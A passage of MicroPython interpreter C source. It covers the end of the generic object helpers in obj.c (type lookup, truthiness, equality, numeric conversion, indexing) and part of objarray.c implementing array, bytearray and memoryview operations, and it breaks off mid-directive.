KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include "py/nlr.h" #include "py/obj.h" #include "py/objtype.h" #include "py/objint.h" #include "py/objstr.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/stackctrl.h" #include "py/stream.h" // for mp_obj_print mp_obj_type_t *mp_obj_get_type(mp_const_obj_t o_in) { if (MP_OBJ_IS_SMALL_INT(o_in)) { return (mp_obj_type_t*)&mp_type_int; } else if (MP_OBJ_IS_QSTR(o_in)) { return (mp_obj_type_t*)&mp_type_str; #if MICROPY_PY_BUILTINS_FLOAT } else if (mp_obj_is_float(o_in)) { return (mp_obj_type_t*)&mp_type_float; #endif } else { const mp_obj_base_t *o = MP_OBJ_TO_PTR(o_in); return (mp_obj_type_t*)o->type; } } const char *mp_obj_get_type_str(mp_const_obj_t o_in) { return qstr_str(mp_obj_get_type(o_in)->name); } void mp_obj_print_helper(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { // There can be data structures nested too deep, or just recursive MP_STACK_CHECK(); #ifndef NDEBUG if (o_in == MP_OBJ_NULL) { mp_print_str(print, "(nil)"); return; } #endif mp_obj_type_t *type = mp_obj_get_type(o_in); if (type->print != NULL) { type->print((mp_print_t*)print, o_in, kind); } else { mp_printf(print, "<%q>", type->name); } } void mp_obj_print(mp_obj_t o_in, mp_print_kind_t kind) { mp_obj_print_helper(MP_PYTHON_PRINTER, o_in, kind); } // helper function to print an exception with traceback void mp_obj_print_exception(const mp_print_t *print, mp_obj_t exc) { if (mp_obj_is_exception_instance(exc)) { size_t n, *values; mp_obj_exception_get_traceback(exc, &n, &values); if (n > 0) { assert(n % 3 == 0); mp_print_str(print, "Traceback (most recent call last):\n"); for (int i = n - 3; i >= 0; i -= 3) { #if MICROPY_ENABLE_SOURCE_LINE mp_printf(print, " File \"%q\", line %d", values[i], (int)values[i + 1]); #else mp_printf(print, " File \"%q\"", values[i]); #endif // the block name can be NULL if it's unknown qstr block = values[i + 2]; if (block == MP_QSTR_NULL) { mp_print_str(print, "\n"); } else { mp_printf(print, ", in %q\n", block); } } } } mp_obj_print_helper(print, exc, PRINT_EXC); mp_print_str(print, "\n"); } bool mp_obj_is_true(mp_obj_t arg) { if (arg == mp_const_false) { return 0; } else if (arg == mp_const_true) { return 1; } else if (arg == mp_const_none) { return 0; } else if (MP_OBJ_IS_SMALL_INT(arg)) { if (MP_OBJ_SMALL_INT_VALUE(arg) == 0) { return 0; } else { return 1; } } else { mp_obj_type_t *type = mp_obj_get_type(arg); if (type->unary_op != NULL) { mp_obj_t result = type->unary_op(MP_UNARY_OP_BOOL, arg); if (result != MP_OBJ_NULL) { return result == mp_const_true; } } mp_obj_t len = mp_obj_len_maybe(arg); if (len != MP_OBJ_NULL) { // obj has a length, truth determined if len != 0 return len != MP_OBJ_NEW_SMALL_INT(0); } else { // any other obj is true per Python semantics return 1; } } } bool mp_obj_is_callable(mp_obj_t o_in) { mp_call_fun_t call = mp_obj_get_type(o_in)->call; if (call != mp_obj_instance_call) { return call != NULL; } return mp_obj_instance_is_callable(o_in); } // This function implements the '==' operator (and so the inverse of '!='). // // From the Python language reference: // (https://docs.python.org/3/reference/expressions.html#not-in) // "The objects need not have the same type. If both are numbers, they are converted // to a common type. Otherwise, the == and != operators always consider objects of // different types to be unequal." // // This means that False==0 and True==1 are true expressions. // // Furthermore, from the v3.4.2 code for object.c: "Practical amendments: If rich // comparison returns NotImplemented, == and != are decided by comparing the object // pointer." bool mp_obj_equal(mp_obj_t o1, mp_obj_t o2) { if (o1 == o2) { return true; } if (o1 == mp_const_none || o2 == mp_const_none) { return false; } // fast path for small ints if (MP_OBJ_IS_SMALL_INT(o1)) { if (MP_OBJ_IS_SMALL_INT(o2)) { // both SMALL_INT, and not equal if we get here return false; } else { mp_obj_t temp = o2; o2 = o1; o1 = temp; // o2 is now the SMALL_INT, o1 is not // fall through to generic op } } // fast path for strings if (MP_OBJ_IS_STR(o1)) { if (MP_OBJ_IS_STR(o2)) { // both strings, use special function return mp_obj_str_equal(o1, o2); } else { // a string is never equal to anything else goto str_cmp_err; } } else if (MP_OBJ_IS_STR(o2)) { // o1 is not a string (else caught above), so the objects are not equal str_cmp_err: #if MICROPY_PY_STR_BYTES_CMP_WARN if (MP_OBJ_IS_TYPE(o1, &mp_type_bytes) || MP_OBJ_IS_TYPE(o2, &mp_type_bytes)) { mp_warning("Comparison between bytes and str"); } #endif return false; } // generic type, call binary_op(MP_BINARY_OP_EQUAL) mp_obj_type_t *type = mp_obj_get_type(o1); if (type->binary_op != NULL) { mp_obj_t r = type->binary_op(MP_BINARY_OP_EQUAL, o1, o2); if (r != MP_OBJ_NULL) { return r == mp_const_true ? true : false; } } // equality not implemented, and objects are not the same object, so // they are defined as not equal return false; } mp_int_t mp_obj_get_int(mp_const_obj_t arg) { // This function essentially performs implicit type conversion to int // Note that Python does NOT provide implicit type conversion from // float to int in the core expression language, try some_list[1.0]. if (arg == mp_const_false) { return 0; } else if (arg == mp_const_true) { return 1; } else if (MP_OBJ_IS_SMALL_INT(arg)) { return MP_OBJ_SMALL_INT_VALUE(arg); } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) { return mp_obj_int_get_checked(arg); } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("can't convert to int"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "can't convert %s to int", mp_obj_get_type_str(arg))); } } } mp_int_t mp_obj_get_int_truncated(mp_const_obj_t arg) { if (MP_OBJ_IS_INT(arg)) { return mp_obj_int_get_truncated(arg); } else { return mp_obj_get_int(arg); } } // returns false if arg is not of integral type // returns true and sets *value if it is of integral type // can throw OverflowError if arg is of integral type, but doesn't fit in a mp_int_t bool mp_obj_get_int_maybe(mp_const_obj_t arg, mp_int_t *value) { if (arg == mp_const_false) { *value = 0; } else if (arg == mp_const_true) { *value = 1; } else if (MP_OBJ_IS_SMALL_INT(arg)) { *value = MP_OBJ_SMALL_INT_VALUE(arg); } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) { *value = mp_obj_int_get_checked(arg); } else { return false; } return true; } #if MICROPY_PY_BUILTINS_FLOAT mp_float_t mp_obj_get_float(mp_obj_t arg) { if (arg == mp_const_false) { return 0; } else if (arg == mp_const_true) { return 1; } else if (MP_OBJ_IS_SMALL_INT(arg)) { return MP_OBJ_SMALL_INT_VALUE(arg); #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) { return mp_obj_int_as_float_impl(arg); #endif } else if (mp_obj_is_float(arg)) { return mp_obj_float_get(arg); } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("can't convert to float"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "can't convert %s to float", mp_obj_get_type_str(arg))); } } } #if MICROPY_PY_BUILTINS_COMPLEX void mp_obj_get_complex(mp_obj_t arg, mp_float_t *real, mp_float_t *imag) { if (arg == mp_const_false) { *real = 0; *imag = 0; } else if (arg == mp_const_true) { *real = 1; *imag = 0; } else if (MP_OBJ_IS_SMALL_INT(arg)) { *real = MP_OBJ_SMALL_INT_VALUE(arg); *imag = 0; #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) { *real = mp_obj_int_as_float_impl(arg); *imag = 0; #endif } else if (mp_obj_is_float(arg)) { *real = mp_obj_float_get(arg); *imag = 0; } else if (MP_OBJ_IS_TYPE(arg, &mp_type_complex)) { mp_obj_complex_get(arg, real, imag); } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("can't convert to complex"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "can't convert %s to complex", mp_obj_get_type_str(arg))); } } } #endif #endif // note: returned value in *items may point to the interior of a GC block void mp_obj_get_array(mp_obj_t o, size_t *len, mp_obj_t **items) { if (MP_OBJ_IS_TYPE(o, &mp_type_tuple)) { mp_obj_tuple_get(o, len, items); } else if (MP_OBJ_IS_TYPE(o, &mp_type_list)) { mp_obj_list_get(o, len, items); } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("expected tuple/list"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "object '%s' is not a tuple or list", mp_obj_get_type_str(o))); } } } // note: returned value in *items may point to the interior of a GC block void mp_obj_get_array_fixed_n(mp_obj_t o, size_t len, mp_obj_t **items) { size_t seq_len; mp_obj_get_array(o, &seq_len, items); if (seq_len != len) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_ValueError("tuple/list has wrong length"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError, "requested length %d but object has length %d", (int)len, (int)seq_len)); } } } // is_slice determines whether the index is a slice index size_t mp_get_index(const mp_obj_type_t *type, size_t len, mp_obj_t index, bool is_slice) { mp_int_t i; if (MP_OBJ_IS_SMALL_INT(index)) { i = MP_OBJ_SMALL_INT_VALUE(index); } else if (!mp_obj_get_int_maybe(index, &i)) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("indices must be integers"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "%q indices must be integers, not %s", type->name, mp_obj_get_type_str(index))); } } if (i < 0) { i += len; } if (is_slice) { if (i < 0) { i = 0; } else if ((mp_uint_t)i > len) { i = len; } } else { if (i < 0 || (mp_uint_t)i >= len) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_msg(&mp_type_IndexError, "index out of range"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_IndexError, "%q index out of range", type->name)); } } } // By this point 0 <= i <= len and so fits in a size_t return (size_t)i; } mp_obj_t mp_obj_id(mp_obj_t o_in) { mp_int_t id = (mp_int_t)o_in; if (!MP_OBJ_IS_OBJ(o_in)) { return mp_obj_new_int(id); } else if (id >= 0) { // Many OSes and CPUs have affinity for putting "user" memories // into low half of address space, and "system" into upper half. // We're going to take advantage of that and return small int // (signed) for such "user" addresses. return MP_OBJ_NEW_SMALL_INT(id); } else { // If that didn't work, well, let's return long int, just as // a (big) positive value, so it will never clash with the range // of small int returned in previous case. return mp_obj_new_int_from_uint((mp_uint_t)id); } } // will raise a TypeError if object has no length mp_obj_t mp_obj_len(mp_obj_t o_in) { mp_obj_t len = mp_obj_len_maybe(o_in); if (len == MP_OBJ_NULL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object has no len"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "object of type '%s' has no len()", mp_obj_get_type_str(o_in))); } } else { return len; } } // may return MP_OBJ_NULL mp_obj_t mp_obj_len_maybe(mp_obj_t o_in) { if ( #if !MICROPY_PY_BUILTINS_STR_UNICODE // It's simple - unicode is slow, non-unicode is fast MP_OBJ_IS_STR(o_in) || #endif MP_OBJ_IS_TYPE(o_in, &mp_type_bytes)) { GET_STR_LEN(o_in, l); return MP_OBJ_NEW_SMALL_INT(l); } else { mp_obj_type_t *type = mp_obj_get_type(o_in); if (type->unary_op != NULL) { return type->unary_op(MP_UNARY_OP_LEN, o_in); } else { return MP_OBJ_NULL; } } } mp_obj_t mp_obj_subscr(mp_obj_t base, mp_obj_t index, mp_obj_t value) { mp_obj_type_t *type = mp_obj_get_type(base); if (type->subscr != NULL) { mp_obj_t ret = type->subscr(base, index, value); if (ret != MP_OBJ_NULL) { return ret; } // TODO: call base classes here? } if (value == MP_OBJ_NULL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object does not support item deletion"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object does not support item deletion", mp_obj_get_type_str(base))); } } else if (value == MP_OBJ_SENTINEL) { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object is not subscriptable"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object is not subscriptable", mp_obj_get_type_str(base))); } } else { if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) { mp_raise_TypeError("object does not support item assignment"); } else { nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError, "'%s' object does not support item assignment", mp_obj_get_type_str(base))); } } } // Return input argument. Useful as .getiter for objects which are // their own iterators, etc. mp_obj_t mp_identity(mp_obj_t self) { return self; } MP_DEFINE_CONST_FUN_OBJ_1(mp_identity_obj, mp_identity); mp_obj_t mp_identity_getiter(mp_obj_t self, mp_obj_iter_buf_t *iter_buf) { (void)iter_buf; return self; } bool mp_get_buffer(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags) { mp_obj_type_t *type = mp_obj_get_type(obj); if (type->buffer_p.get_buffer == NULL) { return false; } int ret = type->buffer_p.get_buffer(obj, bufinfo, flags); if (ret != 0) { return false; } return true; } void mp_get_buffer_raise(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags) { if (!mp_get_buffer(obj, bufinfo, flags)) { mp_raise_TypeError("object with buffer protocol required"); } } mp_obj_t mp_generic_unary_op(mp_uint_t op, mp_obj_t o_in) { switch (op) { case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT((mp_uint_t)o_in); default: return MP_OBJ_NULL; // op not supported } } ================================================ FILE: micropython/source/py/objarray.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include "py/nlr.h" #include "py/runtime0.h" #include "py/runtime.h" #include "py/binary.h" #include "py/objstr.h" #include "py/objarray.h" #if MICROPY_PY_ARRAY || MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_BUILTINS_MEMORYVIEW // About memoryview object: We want to reuse as much code as possible from // array, and keep the memoryview object 4 words in size so it fits in 1 GC // block. Also, memoryview must keep a pointer to the base of the buffer so // that the buffer is not GC'd if the original parent object is no longer // around (we are assuming that all memoryview'able objects return a pointer // which points to the start of a GC chunk). Given the above constraints we // do the following: // - typecode high bit is set if the buffer is read-write (else read-only) // - free is the offset in elements to the first item in the memoryview // - len is the length in elements // - items points to the start of the original buffer // Note that we don't handle the case where the original buffer might change // size due to a resize of the original parent object. // make (& TYPECODE_MASK) a null operation if memorview not enabled #if MICROPY_PY_BUILTINS_MEMORYVIEW #define TYPECODE_MASK (0x7f) #else #define TYPECODE_MASK (~(size_t)0) #endif STATIC mp_obj_t array_iterator_new(mp_obj_t array_in, mp_obj_iter_buf_t *iter_buf); STATIC mp_obj_t array_append(mp_obj_t self_in, mp_obj_t arg); STATIC mp_obj_t array_extend(mp_obj_t self_in, mp_obj_t arg_in); STATIC mp_int_t array_get_buffer(mp_obj_t o_in, mp_buffer_info_t *bufinfo, mp_uint_t flags); /******************************************************************************/ // array #if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY STATIC void array_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) { (void)kind; mp_obj_array_t *o = MP_OBJ_TO_PTR(o_in); if (o->typecode == BYTEARRAY_TYPECODE) { mp_print_str(print, "bytearray(b"); mp_str_print_quoted(print, o->items, o->len, true); } else { mp_printf(print, "array('%c'", o->typecode); if (o->len > 0) { mp_print_str(print, ", ["); for (size_t i = 0; i < o->len; i++) { if (i > 0) { mp_print_str(print, ", "); } mp_obj_print_helper(print, mp_binary_get_val_array(o->typecode, o->items, i), PRINT_REPR); } mp_print_str(print, "]"); } } mp_print_str(print, ")"); } #endif #if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY STATIC mp_obj_array_t *array_new(char typecode, size_t n) { int typecode_size = mp_binary_get_size('@', typecode, NULL); mp_obj_array_t *o = m_new_obj(mp_obj_array_t); #if MICROPY_PY_BUILTINS_BYTEARRAY && MICROPY_PY_ARRAY o->base.type = (typecode == BYTEARRAY_TYPECODE) ? &mp_type_bytearray : &mp_type_array; #elif MICROPY_PY_BUILTINS_BYTEARRAY o->base.type = &mp_type_bytearray; #else o->base.type = &mp_type_array; #endif o->typecode = typecode; o->free = 0; o->len = n; o->items = m_new(byte, typecode_size * o->len); return o; } #endif #if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY STATIC mp_obj_t array_construct(char typecode, mp_obj_t initializer) { // bytearrays can be raw-initialised from anything with the buffer protocol // other arrays can only be raw-initialised from bytes and bytearray objects mp_buffer_info_t bufinfo; if (((MICROPY_PY_BUILTINS_BYTEARRAY && typecode == BYTEARRAY_TYPECODE) || (MICROPY_PY_ARRAY && (MP_OBJ_IS_TYPE(initializer, &mp_type_bytes) || (MICROPY_PY_BUILTINS_BYTEARRAY && MP_OBJ_IS_TYPE(initializer, &mp_type_bytearray))))) && mp_get_buffer(initializer, &bufinfo, MP_BUFFER_READ)) { // construct array from raw bytes // we round-down the len to make it a multiple of sz (CPython raises error) size_t sz = mp_binary_get_size('@', typecode, NULL); size_t len = bufinfo.len / sz; mp_obj_array_t *o = array_new(typecode, len); memcpy(o->items, bufinfo.buf, len * sz); return MP_OBJ_FROM_PTR(o); } size_t len; // Try to create array of exact len if initializer len is known mp_obj_t len_in = mp_obj_len_maybe(initializer); if (len_in == MP_OBJ_NULL) { len = 0; } else { len = MP_OBJ_SMALL_INT_VALUE(len_in); } mp_obj_array_t *array = array_new(typecode, len); mp_obj_t iterable = mp_getiter(initializer, NULL); mp_obj_t item; size_t i = 0; while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) { if (len == 0) { array_append(MP_OBJ_FROM_PTR(array), item); } else { mp_binary_set_val_array(typecode, array->items, i++, item); } } return MP_OBJ_FROM_PTR(array); } #endif #if MICROPY_PY_ARRAY STATIC mp_obj_t array_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 1, 2, false); // get typecode const char *typecode = mp_obj_str_get_str(args[0]); if (n_args == 1) { // 1 arg: make an empty array return MP_OBJ_FROM_PTR(array_new(*typecode, 0)); } else { // 2 args: construct the array from the given object return array_construct(*typecode, args[1]); } } #endif #if MICROPY_PY_BUILTINS_BYTEARRAY STATIC mp_obj_t bytearray_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; mp_arg_check_num(n_args, n_kw, 0, 1, false); if (n_args == 0) { // no args: construct an empty bytearray return MP_OBJ_FROM_PTR(array_new(BYTEARRAY_TYPECODE, 0)); } else if (MP_OBJ_IS_INT(args[0])) { // 1 arg, an integer: construct a blank bytearray of that length mp_uint_t len = mp_obj_get_int(args[0]); mp_obj_array_t *o = array_new(BYTEARRAY_TYPECODE, len); memset(o->items, 0, len); return MP_OBJ_FROM_PTR(o); } else { // 1 arg: construct the bytearray from that return array_construct(BYTEARRAY_TYPECODE, args[0]); } } #endif #if MICROPY_PY_BUILTINS_MEMORYVIEW mp_obj_t mp_obj_new_memoryview(byte typecode, size_t nitems, void *items) { mp_obj_array_t *self = m_new_obj(mp_obj_array_t); self->base.type = &mp_type_memoryview; self->typecode = typecode; self->free = 0; self->len = nitems; self->items = items; return MP_OBJ_FROM_PTR(self); } STATIC mp_obj_t memoryview_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) { (void)type_in; // TODO possibly allow memoryview constructor to take start/stop so that one // can do memoryview(b, 4, 8) instead of memoryview(b)[4:8] (uses less RAM) mp_arg_check_num(n_args, n_kw, 1, 1, false); mp_buffer_info_t bufinfo; mp_get_buffer_raise(args[0], &bufinfo, MP_BUFFER_READ); mp_obj_array_t *self = MP_OBJ_TO_PTR(mp_obj_new_memoryview(bufinfo.typecode, bufinfo.len / mp_binary_get_size('@', bufinfo.typecode, NULL), bufinfo.buf)); // test if the object can be written to if (mp_get_buffer(args[0], &bufinfo, MP_BUFFER_RW)) { self->typecode |= 0x80; // used to indicate writable buffer } return MP_OBJ_FROM_PTR(self); } #endif STATIC mp_obj_t array_unary_op(mp_uint_t op, mp_obj_t o_in) { mp_obj_array_t *o = MP_OBJ_TO_PTR(o_in); switch (op) { case MP_UNARY_OP_BOOL: return mp_obj_new_bool(o->len != 0); case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(o->len); default: return MP_OBJ_NULL; // op not supported } } STATIC mp_obj_t array_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) { mp_obj_array_t *lhs = MP_OBJ_TO_PTR(lhs_in); switch (op) { case MP_BINARY_OP_ADD: { // allow to add anything that has the buffer protocol (extension to CPython) mp_buffer_info_t lhs_bufinfo; mp_buffer_info_t rhs_bufinfo; array_get_buffer(lhs_in, &lhs_bufinfo, MP_BUFFER_READ); mp_get_buffer_raise(rhs_in, &rhs_bufinfo, MP_BUFFER_READ); size_t sz = mp_binary_get_size('@', lhs_bufinfo.typecode, NULL); // convert byte count to element count (in case rhs is not multiple of sz) size_t rhs_len = rhs_bufinfo.len / sz; // note: lhs->len is element count of lhs, lhs_bufinfo.len is byte count mp_obj_array_t *res = array_new(lhs_bufinfo.typecode, lhs->len + rhs_len); mp_seq_cat((byte*)res->items, lhs_bufinfo.buf, lhs_bufinfo.len, rhs_bufinfo.buf, rhs_len * sz, byte); return MP_OBJ_FROM_PTR(res); } case MP_BINARY_OP_INPLACE_ADD: { #if MICROPY_PY_BUILTINS_MEMORYVIEW if (lhs->base.type == &mp_type_memoryview) { return MP_OBJ_NULL; // op not supported } #endif array_extend(lhs_in, rhs_in); return lhs_in; } case MP_BINARY_OP_IN: { /* NOTE `a in b` is `b.__contains__(a)` */ mp_buffer_info_t lhs_bufinfo; mp_buffer_info_t rhs_bufinfo; // Can search string only in bytearray if (mp_get_buffer(rhs_in, &rhs_bufinfo, MP_BUFFER_READ)) { if (!MP_OBJ_IS_TYPE(lhs_in, &mp_type_bytearray)) { return mp_const_false; } array_get_buffer(lhs_in, &lhs_bufinfo, MP_BUFFER_READ); return mp_obj_new_bool( find_subbytes(lhs_bufinfo.buf, lhs_bufinfo.len, rhs_bufinfo.buf, rhs_bufinfo.len, 1) != NULL); } // Otherwise, can only look for a scalar numeric value in an array if (MP_OBJ_IS_INT(rhs_in) || mp_obj_is_float(rhs_in)) { mp_raise_NotImplementedError(""); } return mp_const_false; } case MP_BINARY_OP_EQUAL: { mp_buffer_info_t lhs_bufinfo; mp_buffer_info_t rhs_bufinfo; array_get_buffer(lhs_in, &lhs_bufinfo, MP_BUFFER_READ); if (!mp_get_buffer(rhs_in, &rhs_bufinfo, MP_BUFFER_READ)) { return mp_const_false; } return mp_obj_new_bool(mp_seq_cmp_bytes(op, lhs_bufinfo.buf, lhs_bufinfo.len, rhs_bufinfo.buf, rhs_bufinfo.len)); } default: return MP_OBJ_NULL; // op not supported } } #if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY STATIC mp_obj_t array_append(mp_obj_t self_in, mp_obj_t arg) { // self is not a memoryview, so we don't need to use (& TYPECODE_MASK) assert((MICROPY_PY_BUILTINS_BYTEARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_bytearray)) || (MICROPY_PY_ARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_array))); mp_obj_array_t *self = MP_OBJ_TO_PTR(self_in); if (self->free == 0) { size_t item_sz = mp_binary_get_size('@', self->typecode, NULL); // TODO: alloc policy self->free = 8; self->items = m_renew(byte, self->items, item_sz * self->len, item_sz * (self->len + self->free)); mp_seq_clear(self->items, self->len + 1, self->len + self->free, item_sz); } mp_binary_set_val_array(self->typecode, self->items, self->len, arg); // only update length/free if set succeeded self->len++; self->free--; return mp_const_none; // return None, as per CPython } STATIC MP_DEFINE_CONST_FUN_OBJ_2(array_append_obj, array_append); STATIC mp_obj_t array_extend(mp_obj_t self_in, mp_obj_t arg_in) { // self is not a memoryview, so we don't need to use (& TYPECODE_MASK) assert((MICROPY_PY_BUILTINS_BYTEARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_bytearray)) || (MICROPY_PY_ARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_array))); mp_obj_array_t *self = MP_OBJ_TO_PTR(self_in); // allow to extend by anything that has the buffer protocol (extension to CPython) mp_buffer_info_t arg_bufinfo; mp_get_buffer_raise(arg_in, &arg_bufinfo, MP_BUFFER_READ); size_t sz = mp_binary_get_size('@', self->typecode, NULL); // convert byte count to element count size_t len = arg_bufinfo.len / sz; // make sure we have enough room to extend // TODO: alloc policy; at the moment we go conservative if (self->free < len) { self->items = m_renew(byte, self->items, (self->len + self->free) * sz, (self->len + len) * sz); self->free = 0; } else { self->free -= len; } // extend mp_seq_copy((byte*)self->items + self->len * sz, arg_bufinfo.buf, len * sz, byte); self->len += len; return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_2(array_extend_obj, array_extend); #endif STATIC mp_obj_t array_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value) { if (value == MP_OBJ_NULL) { // delete item // TODO implement // TODO: confirmed that both bytearray and array.array support // slice deletion return MP_OBJ_NULL; // op not supported } else { mp_obj_array_t *o = MP_OBJ_TO_PTR(self_in); if (0) { #if MICROPY_PY_BUILTINS_SLICE } else if (MP_OBJ_IS_TYPE(index_in, &mp_type_slice)) { mp_bound_slice_t slice; if (!mp_seq_get_fast_slice_indexes(o->len, index_in, &slice)) { mp_raise_NotImplementedError("only slices with step=1 (aka None) are supported"); } if (value != MP_OBJ_SENTINEL) { #if MICROPY_PY_ARRAY_SLICE_ASSIGN // Assign size_t src_len; void *src_items; size_t item_sz = mp_binary_get_size('@', o->typecode & TYPECODE_MASK, NULL); if (MP_OBJ_IS_OBJ(value) && ((mp_obj_base_t*)MP_OBJ_TO_PTR(value))->type->subscr == array_subscr) { // value is array, bytearray or memoryview mp_obj_array_t *src_slice = MP_OBJ_TO_PTR(value); if (item_sz != mp_binary_get_size('@', src_slice->typecode & TYPECODE_MASK, NULL)) { compat_error: mp_raise_ValueError("lhs and rhs should be compatible"); } src_len = src_slice->len; src_items = src_slice->items; #if MICROPY_PY_BUILTINS_MEMORYVIEW if (MP_OBJ_IS_TYPE(value, &mp_type_memoryview)) { src_items = (uint8_t*)src_items + (src_slice->free * item_sz); } #endif } else if (MP_OBJ_IS_TYPE(value, &mp_type_bytes)) { if (item_sz != 1) { goto compat_error; } mp_buffer_info_t bufinfo; mp_get_buffer_raise(value, &bufinfo, MP_BUFFER_READ); src_len = bufinfo.len; src_items = bufinfo.buf; } else { mp_raise_NotImplementedError("array/bytes required on right side"); } // TODO: check src/dst compat mp_int_t len_adj = src_len - (slice.stop - slice.start); uint8_t* dest_items = o->items; #if MICROPY_PY_BUILTINS_MEMORYVIEW if (o->base.type == &mp_type_memoryview) { if ((o->typecode & 0x80) == 0) { // store to read-only memoryview not allowed return MP_OBJ_NULL; } if (len_adj != 0) { goto compat_error; } dest_items += o->free * item_sz; } #endif if (len_adj > 0) { if (len_adj > o->free) { // TODO: alloc policy; at the moment we go conservative o->items = m_renew(byte, o->items, (o->len + o->free) * item_sz, (o->len + len_adj) * item_sz); o->free = 0; dest_items = o->items; } mp_seq_replace_slice_grow_inplace(dest_items, o->len, slice.start, slice.stop, src_items, src_len, len_adj, item_sz); } else { mp_seq_replace_slice_no_grow(dest_items, o->len, slice.start, slice.stop, src_items, src_len, item_sz); // Clear "freed" elements at the end of list // TODO: This is actually only needed for typecode=='O' mp_seq_clear(dest_items, o->len + len_adj, o->len, item_sz); // TODO: alloc policy after shrinking } o->len += len_adj; return mp_const_none; #else return MP_OBJ_NULL; // op not supported #endif } mp_obj_array_t *res; size_t sz = mp_binary_get_size('@', o->typecode & TYPECODE_MASK, NULL); assert(sz > 0); if (0) { // dummy #if 